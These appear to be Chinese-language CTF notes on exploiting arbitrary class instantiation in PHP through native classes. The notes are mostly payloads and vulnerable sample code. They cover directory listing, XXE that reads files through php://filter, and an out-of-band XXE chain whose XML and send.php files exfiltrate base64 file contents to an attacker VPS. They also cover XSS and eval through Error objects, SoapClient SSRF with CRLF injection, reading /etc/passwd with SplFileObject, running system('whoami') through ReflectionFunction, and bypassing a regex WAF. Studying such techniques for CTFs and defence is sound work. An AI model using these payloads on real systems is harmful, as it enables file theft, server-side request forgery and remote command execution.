适用场景 在存在任意类实例化漏洞但是没有pop链的情况下,可以尝试利用原生类
GlobIterator 可以列出目录下的文件名
适用版本:php5.3.* php 7
第一个参数指定搜索的路径和类型,第二个参数为选择文件的哪个信息作为键名
1 $newclass  = new  GlobIterator ('./*.php' ,0 );
 
1 2 3 4 5 6 7 8 <?php $iterator  = new  GlobIterator (__DIR__  . './*.php' );while  ($iterator ->valid()) {     echo  $iterator ->current()->getFilename() . '</br>' ;     $iterator ->next(); }?> 
 
SimpleXMLElement SimpleXMLElement::__contruct
Libxml2.9后默认不允许解析外部实体,可以通过函数参数LIBXML_NOENT开启解析
 利用
根据可控方式选择
本地读取 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class  NotFound  {     function  __construct ( )     {         die ('404' );     } } spl_autoload_register(     function  ($class  ) {         new  NotFound();     } );$classname  = isset ($_GET ['name' ]) ? $_GET ['name' ] : null ;$param  = isset ($_GET ['param' ]) ? $_GET ['param' ] : null ;$param2  = isset ($_GET ['param2' ]) ? $_GET ['param2' ] : null ;if (class_exists($classname )){     $newclass  = new  $classname ($param ,$param2 );     var_dump($newclass );     foreach  ($newclass  as  $key =>$value )         echo  $key .'=>' .$value .'<br>' ; }
 
1 2 3 4 5 6 7 8 9 10 11 12 <?php $a ='<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE ANY [       <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./1.php"> ]> <x>&xxe;</x>' ;$a =new  SimpleXMLElement($a ,2 );echo  $a ;?> 
 
需要两个参数可控
利用SimpleXMLElement构造一个XML文档,从而利用 XXE读取文件 。当文件中有< > & ‘ “ 这5个符号时,会导致XML文件解析错误,所以要利用php://filter,将要读取的文件内容经过 base64编码 后输出。如:
1 2 3 4 5 <?xml version="1.0" ?> <!DOCTYPE ANY [    <!ENTITY name  SYSTEM  "php://filter/read=convert.base64-encode/resource=./flag.php"  > ]> <a > &name; </a > 
 
有几个地方需要注意以下,在url中不能直接打& 会被歧义,我们使用 %26 还有就是resource=后面不需要引号包裹。第二个参数里的2对应的模式是 LIBXML_NOENT。 payload:
1 ?name=SimpleXMLElement¶m=<?xml version="1.0" ?> <!DOCTYPE ANY [<!ENTITY name  SYSTEM  "php://filter/read=convert.base64-encode/resource=./flag.php"  > ]> <a > %26name;</a > ¶m2=2
 
至于为什么第二个参数为二,实际上这里2对应的模式是 LIBXML_NOENT ,我们直接记住用二吧不然就是直接百度。
远程读取 必须有三个参数可控,才能读取远程xml文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class  NotFound  {     function  __construct ( )     {         die ('404' );     } } spl_autoload_register(     function  ($class  ) {         new  NotFound();     } );$classname  = isset ($_GET ['name' ]) ? $_GET ['name' ] : null ;$param  = isset ($_GET ['param' ]) ? $_GET ['param' ] : null ;$param2  = isset ($_GET ['param2' ]) ? $_GET ['param2' ] : null ;$param3  = isset ($_GET ['param3' ]) ? $_GET ['param3' ] : null ;if (class_exists($classname )){          $newclass  = new  $classname ($param ,$param2 ,$param3 );     var_dump($newclass ); }
 
SimpleXMLElement读取远程文件evil.xml->evil.xml请求send.xml,实际执行的是send.xml
send.php负责保存结果,在vps上构造如下evil.xml、send.xml和send.php这三个文件。
evil.xml:
1 2 3 4 5 6 7 <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY % remote  SYSTEM  "http://47.xxx.xxx.72/send.xml" > %remote; %all; %send; ]> 
 
send.xml:
1 2 <!ENTITY % file  SYSTEM  "php://filter/read=convert.base64-encode/resource=index.php" > <!ENTITY % all  "<!ENTITY % send SYSTEM 'http://192.168.111.129/send.php?file=%file;'>" > 
 
send.php:
1 2 3 <?php   file_put_contents("result.txt" , $_GET ['file' ]) ;?> 
 
然后在url中构造如下:
1 /show.php?module=SimpleXMLElement&args[]=http://47.xxx.xxx.72/evil.xml&args [ ]=2&args[]=true
 
接收到数据
Error/Exception __toString
Error 1 2 3 4 <?php $a =new  Error ('<script>alert(1)</script>' );echo  $a ;?> 
 
getmessage getMessage可直接传入eval执行命令,将转换成hex执行
1 2 3 4 $a  = new  Error ('?' );$c  = "getMessage" ;$d  = "eval(phpinfo())" ;eval ("\$a->$c ($d );" );
 
1 eval (hex2bin("6563686f20706928293b" ))
 
1 2 3 4 5 6 7 <?php echo  bin2hex('phpinfo();' );$a =new  Error ();$a ->getMessage(eval (hex2bin("706870696e666f28293b" )));?> 
 
SoapClient php存在内置类SoapClient::__call,存在可以触发__call方法时,可以进行ssrf
进行SSRF
配合CRLF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $target  = 'http://192.168.111.129:5555/path' ;$post_string  = 'data=something' ;$headers  = array (     'X-Forwarded-For: 127.0.0.1' ,     'Cookie: PHPSESSID=my_session'  );$b  = new  SoapClient(null ,array ('location'  => $target ,'user_agent' =>'wupco^^Content-Type: application/x-www-form-urlencoded^^' .join('^^' ,$headers ).'^^Content-Length: ' .(string )strlen($post_string ).'^^^^' .$post_string ,'uri'       => "aaab" ));$aaa  = serialize($b );$aaa  = str_replace('^^' ,"\r\n" ,$aaa );$aaa  = str_replace('&' ,'&' ,$aaa );echo  $aaa ;$c  = unserialize($aaa );$c ->not_exists_function();?> 
 
成功接收到报文
DirectoryIterator 遍历目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 DirectoryIterator  extends  SplFileInfo  implements  SeekableIterator  { 	 	public  __construct ( string  $path  ) 	public  current ( ) : DirectoryIterator  	public  getATime ( ) : int  	public  getBasename ( string  $suffix  = ? ) : string  	public  getCTime ( ) : int  	public  getExtension ( ) : string  	public  getFilename ( ) : string  	public  getGroup ( ) : int  	public  getInode ( ) : int  	public  getMTime ( ) : int  	public  getOwner ( ) : int  	public  getPath ( ) : string  	public  getPathname ( ) : string  	public  getPerms ( ) : int  	public  getSize ( ) : int  	public  getType ( ) : string  	public  isDir ( ) : bool  	public  isDot ( ) : bool  	public  isExecutable ( ) : bool  	public  isFile ( ) : bool  	public  isLink ( ) : bool  	public  isReadable ( ) : bool  	public  isWritable ( ) : bool  	public  key ( ) : string  	public  next ( ) : void  	public  rewind ( ) : void  	public  seek ( int  $position  ) : void  	public  __toString ( ) : string      	public  valid ( ) : bool  }
 
FilesystemIterator 列出目录下文件
1 2 3 <?php $dir =new  FilesystemIterator ("/" );echo  $dir ;
 
SplFileInfo 读取文件,但是不添加其他参数只能读取第一行
1 2 3 <?php $context  = new  SplFileObject ('/etc/passwd' );echo  $context ;
 
可以通过遍历的方式读取所有内容
1 2 3 4 5 <?php $context  = new  SplFileObject ('/etc/passwd' );foreach ($context  as  $f ){     echo ($f ); }
 
ReflectionFunction invokeArgs 可执行命令
1 2 3 4 5 6 7 8 9 10 <?php $a =new  ReflectionFunction('call_user_func' );$a ->invokeArgs(array ('system' ,'whoami' ));$a =new  ReflectionFunction('system' );$a ->invokeArgs(array ('whoami' ));?> 
 
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php function  waf ($s  ) {     return  preg_replace('/sys|exec|sh|flag|pass|file|open|dir|2333|;|#|\/\/|>/i' ,"NepnEpneP" , $s ); }if (isset ($_GET ['a' ])){     $_  = waf($_GET ['a' ]);     $__  = waf($_GET ['b' ]);     $a  = new  $_ ($__ );}else {     $a  = new  Error ('?' );}if (isset ($_GET ['c' ]) && isset ($_GET ['d' ])){     $c  = waf($_GET ['c' ]);     $d  = waf($_GET ['d' ]);     eval ("\$a->$c ($d );" ); }else {     $c  = "getMessage" ;     $d  = "" ;     eval ("echo \$a->$c ($d );" );}?>